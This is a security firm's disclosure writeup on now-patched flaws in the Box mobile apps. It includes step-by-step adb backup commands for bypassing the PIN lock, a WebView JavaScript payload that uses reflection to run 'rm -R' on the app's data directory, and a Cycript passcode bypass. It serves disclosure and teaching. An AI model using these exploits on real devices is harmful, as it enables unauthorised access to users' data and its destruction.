Box Android and iOS application Security vulnerabilities : Writeup

. 6 min read

We at Attify focus on mobile application security auditing and trainings. On weekends, we often spend time writing code for AppWatch – our flagship product, finding vulnerabilities and hacking hardwares. A few months back, we had a look at the Box Android and iOS apps and discovered a lot of security vulnerabilities in it.

**Note :***All the vulnerabilities have been disclosed to the Box security team, which were quite active in patching all the security issues. *

Let’s start with the Android application.

Vulnerability 1 :Traffic Interception (no SSL Pinning) and MITM

We decided to start the analysis with the network traffic interception and to verify whether Box uses proper implementation of SSL Pinning. Even though the box application uses SSL, it is possible to intercept the traffic using any proxy.

This is done by adding the proxy certificate into the trusted store of the Android device. Once this is done, the attacker can intercept username and password sent from the Box App.

The screenshot below displays the intercepted username and password.

Username and password values

Traffic being intercepted
Traffic being intercepted

Vulnerability 2: Pin Screen bypass by exploiting Backup based vulnerability

Box App provides an additional security layer to its users by implementing pin lock on the client-side for protecting its data. Pin lock is a 4-digit number in this case.

We can bypass this authentication method with the help of an Android backup vulnerability.

It was quite straightforward to exploit this vulnerability and bypass the pin screen. This is also quite similar to the vulnerability discovered in Lastpass by Chris John Riley.

Setting up Pin Lock :

Go to Menu | Settings | Require Passcode | Set the pin

Configuring Box Pin

Configuring Box Pin

Setting up Pin in Box

Setting up Pin in Box

Take the backup of the Box app.

adb backup -f box.ab

Backing up Box App data

Backing up Box App data

Cover and copy .ab file: 24 bytes at a time and removing the first 24 bytes as they are a part of the .ab (Android backup file format) header. In case you’re interested, you could do a hexdump and see the 1st 24 bytes confirming that it’s a part of the android backup header.

dd if=box.ab bs=24 skip=1 | openssl zlib -d > box.tar

Prepare a list file of the tar archive which will be useful while repackaging the android backup file.

tar -tf box.tar > box.list

Extract the box.tar archive in order to modify the contents.

tar -xvf box.tar

The above command will extract the contents of box.tar. Traverse to apps folder.

Pin lock is stored in myPreference.xml which is located at – /apps/

Contents of myPreference.xml

<?xml version='1.0' encoding='utf-8' standalone='yes' ?> 
<long name="uploadLimit" value="262144000" /> 
<string name="authToken">j7vmvcelakksz053bkk9eqx51a94zvjv</string> 
<string name="pinCode">a08f46f316a132adaf2eac3669af19d8</string> 
<long name="accountLimit" value="10737418240" /> 
<string name="userAccount"></string> 
<long name="last_update_read_timestamp" value="1394871125" /> 
<long name="accountUsed" value="17028961" /> 

Remove the “pinCode” tag

Turns out that if we remove the pincode line completely, the application thinks that there is no pincode protection in the application, and will directly take you to the logged-in section.

Repack the contents

star -c -v -f box_new.tar -no-dirslash list=box.list
dd if=box.ab bs=24 count=1 of=box_new.ab

Once we have copied the first 24 bytes (the header) we could now append the rest of the data to the android backup file.

openssl zlib -in box_new.tar >> box_new.ab

Final Step

Now once everything is done, we just need to restore the backup.

adb restore box_new.ab

Vulnerability 3: Android Webview Vulnerability

Webview is a simple and essential component in Android and iOS platforms, enabling smartphones and tablets to embed a simple but powerful browser inside them.

We’ll write a separate post soon on the webview based issues in Android applications, but for this blog post, we won’t go into much depth about what exactly is webview and how apps become vulnerable.

Android allows apps to create a bridge in order to allow javascript code within the webpages, and them interacting with the java codes of the application.

Webview has been used extensively in three main activities of Box App, namely

  • SsoLoginActivity
  • OneCloudAddNewAppsActivity
  • CentrifyLoginActivity

If you look inside the OneCloudAddNewAppsActivity is addJavasctiptInterface.

The following code snippet shows the usage of addJavascriptInterface in loadOneCloudView method of OneCloudAddNewAppsActivity :

private void loadOneCloudView() {;

String str = "&auth_token=" + AuthToken.getAuthToken() + "&api_key=" + BoxApi.getApiKey(); 
this.webview.postUrl(this.mOneCloudGalleryUrl, EncodingUtils.getBytes(str, "BASE64"));

if (!this.javascriptInterfaceBroken) this.webview.addJavascriptInterface(this.marketInterface, "Android"); }

The Javascript interface alias Android has been declared such that the javascript loaded in webview can access the public methods of the marketInterface.

marketInterface is basically an object of OneCloudMarketInterface class defined in Box App

According to webview vulnerability, the addJavascriptInterface the method can be abused via reflection to execute commands remotely in the context of the running application.

We used the reflection functionality and embedded malicious javascript in the webview to delete the private contents of the Box App.

The private data of Box are stored at /data/data/ and sensitive files and folders have only ‘read-write’ permissions to owner and user. These files are not accessible to other apps.

One example of sensitive data are data stored in the database folder as shown in the screenshot:

webview vulnerability box 1

With the help of malicious javascript and java reflection functionality, we were able to manipulate this sensitive information.

We successfully tried deleting the contents as shown the below code.

The malicious javascript code with reflection is as depicted below :


var path = '/data/data/'; 

function execute(cmd){ 

document.write("WebView Vulnerability"); 

return window.Android.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd); } 

execute(['/system/bin/rm', '-R', path]); 


The javascript was embedded in the response to the webview request made by OneCloudAddNewApp Activity, as shown below :

webview vulnerability in box 2

Finally, once the response is rendered, the javascript causes Box to delete its own contents. It could obviously be used for much more malicious purposes like getting a reverse shell by creating a payload using tools such as Drozer.

Another reason for webview vulnerability to be possible was the improper implementation of onReceivedSslError method.

public void onReceivedSslError(WebView paramAnonymousWebView, SslErrorHandler paramAnonymousSslErrorHandler, SslError paramAnonymousSslError)

Whenever an SSL error is received, instead of taking any preventive measures, the method simply proceeds to the handler.

This plays a crucial role in the execution of javascript despite SSL errors.

Vulnerability 4: Box iOS Application Login Bypass

The Box iOS application has similar functionality as the Android one and offers users to use an additional Pinscreen in order to secure their Box application.

However, it could be easily bypassed by runtime manipulation using Cycript.

var a  = UIApp.keyWindow.rootViewController.viewControllers[0] [a passcodeDidSucceed]

Also, you could check the current passcode of the pinscreen using the topViewController.

Here’s a quick demo.

That’s all for this blog post. We offer private training classes for developers and security teams on building and exploiting Android and iOS applications.

For an online version of our class, you can sign up here –  Android and iOS Hands-on Exploitation.